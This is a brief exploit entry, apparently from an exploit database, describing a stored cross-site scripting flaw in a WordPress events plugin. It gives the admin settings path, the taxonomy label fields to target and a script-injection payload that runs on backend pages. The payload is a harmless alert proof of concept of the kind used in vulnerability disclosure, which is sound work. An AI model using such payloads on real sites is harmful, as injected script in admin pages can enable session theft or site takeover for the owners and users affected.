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## https://sploitus.com/exploit?id=WPEX-ID:300BA418-63ED-4C03-9031-263742ED522E
Go to the plugin Settings > Messages > Taxonomies (/wp-admin/admin.php?page=MEC-settings&tab=MEC-messages)

Put the following payload in the Category Plural Label, Category Plural Label or Label Plural Label fields: "><script>alert(/XSS/)</script>

The XSS will be triggered in any backend pages